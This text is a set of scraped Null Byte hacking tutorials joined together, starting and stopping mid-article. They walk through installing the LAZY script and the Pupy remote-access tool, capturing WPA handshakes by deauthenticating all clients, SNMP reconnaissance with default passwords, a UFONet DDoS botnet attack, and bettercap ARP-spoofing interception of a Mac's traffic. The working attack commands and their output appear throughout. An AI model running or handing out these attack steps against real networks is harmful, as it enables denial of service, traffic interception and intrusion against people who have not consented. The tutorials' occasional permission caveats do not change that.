smooth installation process. Make sure your system is up to date by running the following commands before getting started.apt update apt upgradeStep 2: Find Your Wireless Network Adapter's NameThe script will require you to provide the name of the network adapter you want to use, as well as the name your system calls your network adapter when it's in monitor mode. This is where some troubleshooting may need to happen. Usually, aKali-compatible wireless network adapterwill be wlan0 or wlan1, and in monitor mode, change its name to wlan0mon or wlan1mon. Sometimes, you may notice wlan0 stays wlan0 and isn't renamed when put into monitor mode, which means you'll need to set this up in the LAZY script, or it will fail because it will try to use a wlan0mon interface that doesn't exist.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018You can check to see what name your adapter is in after putting it into monitor mode by using the following command and observing the name of the adapter after with the command below, with wlan0 as the name of your adapter.iwconfig wlan0 mode monitor ip aOnce you know the name of the adapter and the name it's changed to in monitor mode, we can get started downloading and using the "lazy" script.Step 3: Install & Configure Lazy ScriptInstalling the LAZY script is incredibly easy. To do so, you can open a terminal window and copy and paste in the code below, one line at a time. You'llcdinto root,clonethe LAZY script fromGitHub,cdinto LAZY script, give the install.sh fileexecute permissions, then install LAZY script.cd git clone https://github.com/arismelachroinos/lscript.git cd lscript chmod +x install.sh ./install.shWhen this completes, you should be able to open a new terminal window and type the letterlto open LAZY script. You'll need to follow any prompts along the way, answering if you're installing the script for the first time or reinstalling it, and then setting the network interfaces. Not bad for a script that prides itself on minimal user interaction.When setting the user interface, this is where you'll put the name of your wireless network adapter, both in managed and monitor mode, and then the name of your Ethernet adapter.You can go back and change this by typinginterfaceif you add another network adapter or want to switch between the internal and external network card. Once this is set, you can get to work using LAZY script.Step 4: Use Basic Networking ToolsTo begin, we can access data about the network we're currently connected to, as well as any network interfaces, from the main menu. Here, we can find local information by just typinglto pull up local IP information, as seen below.Local IPs: eth0 = 192.168.86.42 Gateways: eth0 = 192.168.86.1 Press any key to go back...This allows us to do things like scan the network for other devices. This part of LAZY script gives us better visibility on a network and situational awareness of what devices are around us. The various information can be broken down as follows:if- Runsifconfigand gives the names and information about all network devices.1- Enable wlan0 (d1disables it).2- Enable wlan0mon (d2disables it).3- Randomize or set the MAC address to a specific value.7- View the public IP address your computer is leaving on sites you visit.19- Look up the physical address of a given IP address to determine it's relative location.scan- Start an ARP scan on the network to discover nearby devices.start- Start monitor mode on the wireless network adapter.stop- Stop wireless monitor mode on the network adapter.Step 5: Install New ToolsPart of the fun of LAZY script is how easy it is to add new tools to our arsenal. To demonstrate this, let's download Pupy, a Python-based RAT designed to take control of other computers on the network. We can select option9to access the list of tools in LAZY script.From the next menu, the tools are broken down into major categories, with options for managing the installation of scripts. The options presented are:1- Wi-Fi tools (tools for attacking wireless networks).2- Remote access (tools for getting remote access to other devices and remotely managing them).3- Information gathering (collecting intelligence on people or website).4- Website tools (tools for exploiting or attacking sites).5- Other (a miscellaneous collection of other hacking tools)You can also manage your installed tools by accessing option6. To download Pupy, we'll go to option2, which is remote access. Here, we will see a list of different tools for remote access, and we can select option3for Pupy. Here, we can see Pupy is not installed because it appears in red.To install Pupy, select3, and when prompted, typeinstallto have LAZY script manage the installation for you.Tool is not installed. To install it type 'install'. install Installing Pupy Tool by n1nj4sec Cloning into 'pupy'... remote: Counting objects: 16472, done. remote: Compressing objects: 100% (35/35), done. remote: Total 16472 (delta 20), reused 47 (delta 20), pack-reused 16416 Receiving objects: 100% (16472/16472), 27.77 MiB | 4.99 MiB/s, done. Resolving deltas: 100% (11706/11706), done.Once it's complete, the option should appear in green, and you will be able to use it through LAZY script. Now, we can select option3, and immediately jump into Pupy to begin creating listeners and payloads.1) Generate a payload 2) Start listener b) Go back 00) Main menu 0) EXITWe can now type00to go back to the main menu to explore some more of LAZY script's functions.Step 6: Capture a WPA Handshake Through Lazy ScriptThe last feature of LAZY script I'll introduce is the quick-and-easy way of grabbing a WPA handshake for future cracking. This is useful if you want to hack a WPA network, which is by far the most common type of Wi-Fi network you'll find in use. Using this technique, you can quickly kick someone or something off the network you are targeting and capture the network handshake of the device reconnecting to the network.With this handshake, you can crack the hash with a brute-force attack. This tried-and-true method is one of the most critical vulnerabilities in WPA and one of the significant things that was fixed in the new WPA3.After returning to the main menu, we can try out one of LAZY script's top-menu functions, which is to capture a WPA (or WPA2) handshake for later cracking. If you have aKali compatible wireless network adapter, you should have supplied this name to LAZY script in Step 3 above, or you can do so now by typinginterfacesand setting the name of the adapter in station and monitor mode.Don't Miss:Use Leaked Password Databases to Create Brute-Force WordlistsOnce this is set, we can choose option10to select the handshake menu. First, you'll need to confirm that you want to put the adapter into monitor mode if you haven't already. Just typeyto confirm and place the adapter into monitor mode. When this is done, a new terminal window will open. You'll see that no handshake is selected and a list of the attack options.----------------------------HANDSHAKE---------------------------- 1) Scan networks nearby Selected:None 2) Capture handshake 3) Aircrack the handshake 4) Verify a handshake 5) Clean a handshake 6) Remove .csv and .netxml files 0) Exit Choose:You can select option number1to scan for networks nearby, and you'll see a list of nearby network traffic. Let this run for a minute or two, and then pressCrtl-Cto stop the scan.CH 12 ][ Elapsed: 6 s ][ 2018-07-04 04:33 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:25:00:FF:94:73 -1 0 1 0 6 -1 OPN <length: 0> 70:3A:CB:DB:5A:78 -41 11 3 0 11 130 WPA2 CCMP PSK takeyourgodd 70:3A:CB:DB:5C:A8 -59 22 0 0 6 130 WPA2 CCMP PSK takeyourgodd 70:3A:CB:DB:5C:B4 -71 6 0 0 1 130 WPA2 CCMP PSK takeyourgodd C4:8E:8F:E5:6A:B4 -75 7 0 0 1 195 WPA2 CCMP PSK TG1672G12 BSSID STATION PWR RATE Lost Frames Probe 00:25:00:FF:94:73 obfuscated -43 0 -12 21 8 00:25:00:FF:94:73 obfuscated -33 0 -12 104 4 00:25:00:FF:94:73 obfuscated -51 0 -12 107 4 00:25:00:FF:94:73 obfuscated -53 0 -12 34 8 (not associated) obfuscated -70 0 - 1 12 8You'll see a list of networks that have traffic on them, allowing you to find targets for the next stage of the attack. This comes along with a handy color code. Select the number of the target network and pressreturnto continue. It's worth noting you can go back to this screen to select another network by typingbin any later step, saving you from needing to scan a second time.After selecting our target network, we'll be presented with the option to either supply a file name to save the handshake to or choose0to not keep a file for this session. Here, name the file something you'll remember later.After entering a name and pressingreturn, a new window will open presenting you with options for kicking devices off the network. Select option1to deauthenticate all clients and get the network handshake quickly. Make sure you have permission to do this on the network you're working on, as you'll be denying service to the network you target until you get the handshake. As a final input, select the number of deauth packets to send, with0being a continuous stream until you decide to quit.----------------DEAUTH MENU---------------- 1) Deauth all aireplay-ng 2) Deauth all mdk3 3) Deauth client/s aireplay-ng 4) Deauth all periodically aireplay-ng 0) Exit-------------------------------------------HANDSHAKE------------------------------------------- CH 11 ][ Elapsed: 12 s ][ 2018-07-04 04:33 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 70:3A:CB:DB:5A:78 -40 87 134 92 6 11 130 WPA2 CCMP PSK takeyourgodd BSSID STATION PWR Rate Lost Frames Probe 70:3A:CB:DB:5A:78 obfuscated -72 0 - 0 22 6A new window will open, showing the status of the deauthentication attack. When you see the "WPA handshake" appear in the top right corner, you know you've gotten the handshake for the network. PressCtrl-Cto stop the deauth attack.----------------DEAUTH MENU---------------- 1) Deauth all aireplay-ng 2) Deauth all mdk3 3) Deauth client/s aireplay-ng 4) Deauth all periodically aireplay-ng ENTER) Last option 0) Exit-------------------------------------------HANDSHAKE------------------------------------------- CH 11 ][ Elapsed: 2 mins ][ 2018-07-04 04:36 ][ WPA handshake: 70:3A:CB:DB:5A:78 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 70:3A:CB:DB:5A:78 -7 100 1307 151 2 11 130 WPA2 CCMP PSK takeyourgodd BSSID STATION PWR Rate Lost Frames Probe 70:3A:CB:DB:5A:78 obfuscated -33 1e - 1e 0 12---------------------------------DEAUTHING--------------------------------- 04:36:17 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:18 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:18 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:19 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:19 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:19 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:20 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:20 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:21 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:21 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:22 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:22 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:23 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78] 04:36:23 Sending DeAuth (code 7) to broadcast -- BBSID: [70:3A:CB:DB:5A:78]After selecting the network, you'll be in the "handshake" menu. Here, we can confirm the handshake we just captured by selecting option4which is to verify a handshake.----------------------------HANDSHAKE---------------------------- 1) Scan networks nearby Selected:takeyourgoddamnshoesoff 2) Capture handshake 3) Aircrack the handshake 4) Verify a handshake 5) Clean a handshake 6) Remove .csv and .netxml files 0) Exit Choose:In the deauth menu, you'll see the options for verifying you've successfully captured a handshake. Select option2to check the handshake withCowpatty.Don't Miss:Cracking WPA2-PSK Passwords with Cowpatty-------DEAUTH MENU------- 1) Check with pyrit 2) Check with cowpatty b) Go back Choose: 1-------------------------------------------HANDSHAKE------------------------------------------- CH 11 ][ Elapsed: 12 s ][ 2018-07-04 04:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 70:3A:CB:DB:5A:78 -40 100 156 0 0 11 130 WPA2 CCMP PSK takeyourgodd BSSID STATION PWR Rate Lost Frames ProbeHere, you can see our handshake is valid:-------DEAUTH MENU------- Valid handshake found!-------------------------------------------HANDSHAKE------------------------------------------- CH 11 ][ Elapsed: 12 s ][ 2018-07-04 04:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 70:3A:CB:DB:5A:78 -37 96 297 0 0 11 130 WPA2 CCMP PSK takeyourgodd BSSID STATION PWR Rate Lost Frames ProbeAfter confirming the handshake is valid, you'll be dropped back into the handshake menu. Select option0to exit the script.----------------------------HANDSHAKE---------------------------- 1) Scan networks nearby Selected:takeyourgoddamnshoesoff 2) Capture handshake 3) Aircrack the handshake 4) Verify a handshake 5) Clean a handshake 6) Remove .csv and .netxml files 0) Exit Choose:On your way out, the script will ask if you captured a WPA handshake. If you did, make sure to typeyto save the handshake you captured under the filename you provided earlier. Otherwise, the file will be discarded. If you're keeping the file, you can also typeyfor cleaning the file, which will make it smaller by getting rid of all the non-relevant packets that were captured.At this point, we would run a brute-force attack against this with Aircrack-ng. I tried LAZY script's built-in brute forcer, but it wasn't able to properly read the location of my dictionary file, so I don't recommend it in its current iteration.Step 7: Use a WPS Pixie-Dust Attack (A Work in Progress)While LAZY script does include a WPS module, the versions I tried in virtual machines and on a Kali laptop weren't able to successfully crack our test WPS PIN. Two of the primary attacks returned "too many arguments" rather than any useful results. The final option, a Pixie-Dust loop, ended in an error after an anticlimactic buildup.Don't Miss:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust AttackNetwork Hacking for the LazyLAZY script is a tool that attempts to bring together the best tools with a minimum of interaction, stitching together popular hacking tools with a series of clever shell scripts. This makes the necessary tactics ofWi-Fi hacking, such as WPA brute-forcing, accessible to even the most inexperienced users.If you've become lazy with your Wi-Fi security at home, this is a wakeup call that you need to take things like setting your Wi-Fi password seriously. Don't pick a password which is short or easy to guess or one that you've already used in many other places. If you need a refresher on how to keep your own Wi-Fi safe, you can check out my previous guide on defending against the main types of Wi-Fi hacking, most of which LAZY script includes.Don't Miss:The Beginner's Guide to Defending Against Wi-Fi HackingI hope you enjoyed this guide to installing, configuring, and hacking with LAZY script! If you have any questions about this tutorial or LAZY script, feel free to leave a comment or reach me on Twitter@KodyKinzie.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null Byte (unless otherwise noted)RelatedHow To:Automate Wi-Fi Hacking with Wifite2How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersAndroid Basics:How to Connect to a Wi-Fi NetworkHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Recover a Lost WiFi Password from Any DeviceHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Hack Wi-Fi Networks with BettercapHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHacking Android:How to Create a Lab for Android Penetration TestingHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat Attack
Hack Like a Pro: How to Exploit SNMP for Reconnaissance « Null Byte :: WonderHowTo
Welcome back, my rookie hackers!The more we know about a system or network, the better our chances of owning it and not leaving a trace for investigators to follow. One of the often overlooked sources for information is the Simple Network Management Protocol (SNMP). Many rookie hackers are not even aware of it, but it can prove to be a treasure trove of information, if you understand how it works and how to hack it.How SNMP Can Help You Access Network DevicesSNMP runs on UDP (connectionless and efficient) on port 161 and enables a network administrator to gather information on and manage network devices. Each networked device responds with information about its make, model, etc. when queried by the master.All this information is then stored in a database called the Master Information Base (MIB). If we can access the MIB and know how to read and interpret the info, we can then know each and every device on the network. If we can crack the password on SNMP, we may be able to control each networked device. This would allow us to change configurations, take devices offline, etc.The Different Versions of SNMPThere are at least three versions of SNMP. The first, SNMPv1 or just SNMP, was not secure. SNMPv2 was developed to be more secure, but was not backwardly compatible to v1. SNMPv3 is secure and backwardly compatible, but very often, not implemented.SNMPv1 has a default community string (similar to a password) for the admin of "private" and a default community string for everyone and everything else of "public". The admin password permits the admin to change configurations of devices remotely, while the public password only allows us to view the info in the MIB. Many times, system admins leave these passwords in the default configuration due to lack of knowledge or laziness. Before you try any hack on SNMP, make certain you try these default passwords first.Even if the system admin does change the default passwords, they often change them to a variation of public/private or something else very simple. Generally, these passwords are relatively easy to brute-force with a dictionary attack.Exploiting SNMP for ReconIn this hack, we will look at what info we can harvest from the SNMP MIB if the network is using SNMPv1 and we know the community string. In a future tutorial, I'll show you how to break the community string.Step 1: Open BackTrackAll of the tools we need for this hack are built intoBackTrack, so we have no need to download or install any new software.Step 2: Open SnmpenumIn this hack, we will use a tool called snmpenum. It gathers information from the MIB over SNMP for any IP address, if we know the community string.To start, go toBackTrack->Information Gathering->Network Analysis->SNMP, and finally,snmpenum.Image viawonderhowto.comStep 3: Run SnmpenumWhen you click on snmpenum, it will open a terminal that will look like this.Note that the syntax for running snmpenum is fairly straightforward. All you need is the IP address, the community string, and the config file. If we do a long listing on this directory:ls -lWe can see that there are three text files that are our configuration files for snmpenum. We have one for Windows, one for Linux, and one for Cisco.In this case, we will be running snmpenum against a Windows machine that still has its default SNMP community string (password) set to "public" that is on our internal IP address of 192.168.1.101. Note that snmpenum is a Perl script, so it ends with .pl. To run it, we must precede it with the "./".Simply enter this information as follows:./snmpenum.pl 192.168.1.101 public windows.txtStep 4: Make Sense of It AllWhen we run snmpenum, it gathers all the information in the MIB database on the target machine and displays it on the screen. The amount of information covers several screens, but it will return users, installed software (see below), hostname, OS, uptime, services, open TCP ports, open UDP ports, and more!Here we see the listening ports:Here we can see all the running services:Now that we have gathered all this information on the system, we can better develop a strategy for exploiting it. We simply need to then find the known vulnerabilities for that OS, those services, those ports, etc.In addition, with the uptime, we can gauge when the system was last patched. If the the uptime is say, three months, we know that the system is vulnerable to any new vulnerabilities discovered in the last three months as a patch would require a reboot of the system.Keep coming back, my rookie hackers, for more adventures in hackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHack Like a Pro:The Hacker MethodologyHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:The Five Phases of HackingHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Advanced Penetration Testing - Part 1 (Introduction)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Run an VNC Server on Win7Hack Like a Pro:How to Extract Metadata from Websites Using FOCA for WindowsHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:The Official Google+ Insider's Guide Index
Networking Basics « Null Byte :: WonderHowTo
No content found.
How to Use UFONet « Null Byte :: WonderHowTo
With therelease of the Mirai source code, botnets are back in a big way. In the early days of botnets, zombies (infected hosts) would report to IRC (Internet Relay Chat) channels for CNC (command and control) instructions. Modern botnets have evolved, but they continue to use the same concepts as their predecessors.The basics of botnets are simple. The first step is to find lots of machines that are vulnerable to attack. In the case of Mirai, IoT's devices with hardcoded or default credentials set. Next, the vulnerability is exploited. In some cases, this means installing a RAT (remote administration tool). Infected or vulnerable machines are then controlled by a bot herder with a CNC tool. Often, botnets are custom-coded and the source is kept secret. The reason for this is the profit involved. Botnets are used for DDoS, bitcoin mining, data theft, spam distribution, and ad fraud. Some bot herders evenrent their botnets out by the minute!In this article, we will be examiningUFONet, "a free software tool designed to test DDoS attacks against a target using 'Open Redirect' vectors on third party web applications like botnet." I will be walking through the steps as if I were going to launch an attack on a host. This open-source botnet is easy to install and run, and it's capable of searching out vulnerable hosts, testing them, cataloging them, running DDoS attacks, and more.Don't Miss:Denial-of-Service (DoS) Tools & TechniquesStep 1: Get the SourceOur first step is to get the UFONet source, so open your favorite terminal emulator and clone the repo:git clonehttps://github.com/epsylon/ufonetcd ufonetWe will also need to ensure that we have all of the dependencies required to run this. We will need Python >2.7.9,python-pycurl, and python-geoip. In order to install these dependencies in a terminal on a Debian-based system such as Kali Linux, simply run:Don't Miss:How to Find the Exact Location of Any IP Addresssudo apt-get install python-pycurl python-geoipNext, we will update UFONet:./ufonet --updateStep 2: Configure Tor (Optional)If we were using UFONet to DDoS a target, we would set upTorand run:./ufonet --check-torDon't Miss:How to Become Anonymous on the Internet Using TorSince we are not actually going to be attacking any targets or exploiting any hosts other than those on our local network, we can skip Tor configuration.Step 3: Find Vulnerable HostsNow we'll use the search function to find vulnerable hosts. UFONet uses only Bing by default to locate vulnerable hosts. This can be changed with flags. I will be using all of the available engines built into UFOnet to search for a vulnerable host../ufonet -s 'proxy.php?url=' --saThis command tells UFOnet to search for sites containing "proxy.php?url=", using all built-in search engines. Sites containing "proxy.php?url=" may be vulnerable to open redirects. You can also load search strings from a text file with the command:./ufonet --sd 'botnet/dorks.txt'This command uses UFOnet's dorks.txt as a list of strings to search for potential open redirect vulnerabilities.Since none of these sites have asked me to test whether or not they are vulnerable to open redirects, I did not check the hosts. If we had selected "Yes," UFONet would have checked the remote hosts ensuring that they are vulnerable to open redirects.Another option for locating targets is downloading the community zombie file from UFONet. I can't verify the validity of this list, but it's worth a shot../ufonet --download-zombiesStep 4: TestingWe now have a large list of zombies available to us. Since the hosts provided by the community are not under my control, I cleared the community hosts that I downloaded from my bots list and set up a vulnerable page in a VM (virtual machine). This page is a simple open redirect and belongs in the botnet/zombies.txt file.UFOnet stores data on vulnerable hosts in text format in thebotnetfolder. Each text file has a themed name, and represents a different form of open redirect.Zombie: HTTP GET 'Open Redirect' botDroid: HTTP GET 'Open Redirect' bot with parametersAlien: HTTP POST 'Open Redirect' botUCAV: These sites check whether the target of the DDoS is upDorks: A list of potentially vulnerable search stringsNext, I test that my VM is vulnerable to an open redirect../ufonet -t botnet/zombies.txtLooks like it's working.Step 5: Inspect Our TargetWe may want to inspect our target for large files. Luckily, UFONet has the functionality built in:./ufonet -i http://192.168.1.97Focusing on larger files is not a necessary step, though it may eat more bandwidth from the target site wreaking a bit more havoc. Since my VM consists of two hosted pages, the default Apache page, and the vulnerable open redirect page, this command isn't going to discover anything major. Though, in some cases, you may discover large files.I inspected my vulnerable web server. It looks like the largest file on my web server is "ubuntu-logo.png". It appears UFONet has followed an external link off my site though. If I hadn't read through the information presented to me, I could have potentially attacked the wrong target! Tools can report the wrong information, so it's important to pay attention.Step 6: Launch an AttackLastly, I will launch:./ufonet -a http://192.168.1.97 -r 10 -b "icons/ubuntu-logo.png"In this command we launch UFONet, and the-aflag specifies the target to attack. The-rflag specifies the number of times each host should attack. The-boption selects where to make requests on the target.When we execute this command, UFONet will attack the target 10 times for each zombie. If you have a list of 100 zombies, it would launch 100 zombies times 10 rounds for a total of 1,000 requests to the target. Specifically, it's requesting the largest file on the site "ubuntu-logo.png". That number may seem small, but remember with a bit of web scraping and peer-to-peer sharing, it should be easy enough to launch a respectable DDoS attack.In this case, I'm getting a target down message. Obviously, my target is still up. Since I'm attacking a local VM from within my own home network, sites likeisup.methat check whether a website is up, will detect it as down.Conclusion:UFONet is just one of many DDoS attack platforms. A search on GitHub or Google for botnets should turn up some interesting results. I would never run a botnet app without thoroughly reading through the source. Without an understanding of the code, it's quite possible that you could face criminal charges. If that weren't enough, running unknown applications from known malicious developers can compromise your system—turning your machine into a zombie or worse. Depending on your location, simply testing for open redirect vulnerabilities in remote machines could be illegal.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byUFONetRelated
Hacking macOS: How to Identify Antivirus & Firewall Software Installed on Someone's MacBook « Null Byte :: WonderHowTo
Identifying security software installed on a MacBook or other Apple computer is important to hackers and penetration testers needing to compromise a device on the network. With man-in-the-middle attacks, packets leaving the Mac will tell us a lot about what kind of antivirus and firewall software is installed.After gainingaccess to a Wi-Fi router, a hacker will perform a variety ofnetwork-basedandreconnaissanceattacks. Data traversing the network is viewable to anyone with the passwordwithout ever authenticating to the router. While that method is excellent for passive observations, we'll instead perform a man-in-the-middle attack to learn what's happening on the network.We'll start by installing a man-in-the-middle tool inKali Linux. Packets moving through the network are redirected to the attacker's system and collected withWireshark. The traffic is then vulnerable to packet inspection, allowing an attacker to identify installed security software on themacOS computer.Don't Miss:Create an Undetectable macOS Payload with ArmorStep 1: Install Bettercap in Kali LinuxBettercap, developed byevilsocketandsome cool people, is an extensible and portable offensive security framework. While it featuresseveral useful tools, let's focus on theman-in-the-middle functionalities.Installbettercapin Kali with the following command.~$ sudo apt update && sudo apt upgrade && sudo apt install bettercap Hit:1 http://kali.download/kali kali-rolling InRelease Reading package lists... Done Building dependency tree Reading state information... Done 17 packages can be upgraded. Run 'apt list --upgradable' to see them. Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages have been kept back: crackmapexec gcc-10-base lib32gcc-s1 lib32stdc++6 libatomic1 libcc1-0 libgcc-s1 libgfortran5 libgomp1 libitm1 liblsan0 libobjc4 libquadmath0 libstdc++6 libtsan0 libubsan1 php-common 0 upgraded, 0 newly installed, 0 to remove and 17 not upgraded. Reading package lists... Done Building dependency tree Reading state information... Done bettercap is already the newest version (2.28-0kali2). 0 upgraded, 0 newly installed, 0 to remove and 17 not upgraded.Step 2: Create a Pipe to Write Captured Packets ToBefore starting the man-in-the-middle attack, create anamed pipewith themkfifocommand. Bettercap will write captured packets to the pipe, allowing Wireshark to analyze the traffic in real-time. The "wiretap" file name that I used is arbitrary and can be changed.~$ mkfifo /tmp/wiretapStep 3: Start Bettercap & WiresharkStartbettercapwith the following options to automatically beginARP spoofingand saving data to the wiretap file.~% sudo bettercap -eval "set net.sniff.output /tmp/wiretap; net.sniff on; arp.spoof on" bettercap v2.28 (built for linux amd64 with go1.14.4) [type 'help' for a list of commands] [05:44:08] [sys.log] [inf] net.sniff starting net.recon as a requirement for net.sniff [05:44:08] [endpoint.new] endpoint 192.168.1.47 detected as 7e:13:a9:b6:07:77. [05:44:08] [sys.log] [inf] arp.spoof enabling forwarding » [05:44:08] [sys.log] [inf] arp.spoof arp spoofer started, probing 16384 targets.Wait a few seconds for traffic to generate in the Bettercap terminal, as opening Wireshark too quickly sometimes caused the man-in-the-middle attack to fail. Then, in a new terminal, open Wireshark with the following command to immediately (-k) begin capturing traffic on the input interface (-i) or file (i.e., /tmp/wiretap).~$ wireshark -k -i /tmp/wiretapWireshark will capture and display packets originating from other devices on the network in real-time.Step 4: Detect Antivirus Software (AVG, Avast, Avira)AVG Antivirus, likeAvast, is a very well-known antivirus software solution for Windows 10, macOS, and Android phones. As AVG was acquired by Avast several years ago, traffic originating from a MacBook would be seen connecting to Avast servers.Avira, while not as popular, is another free macOS antivirus 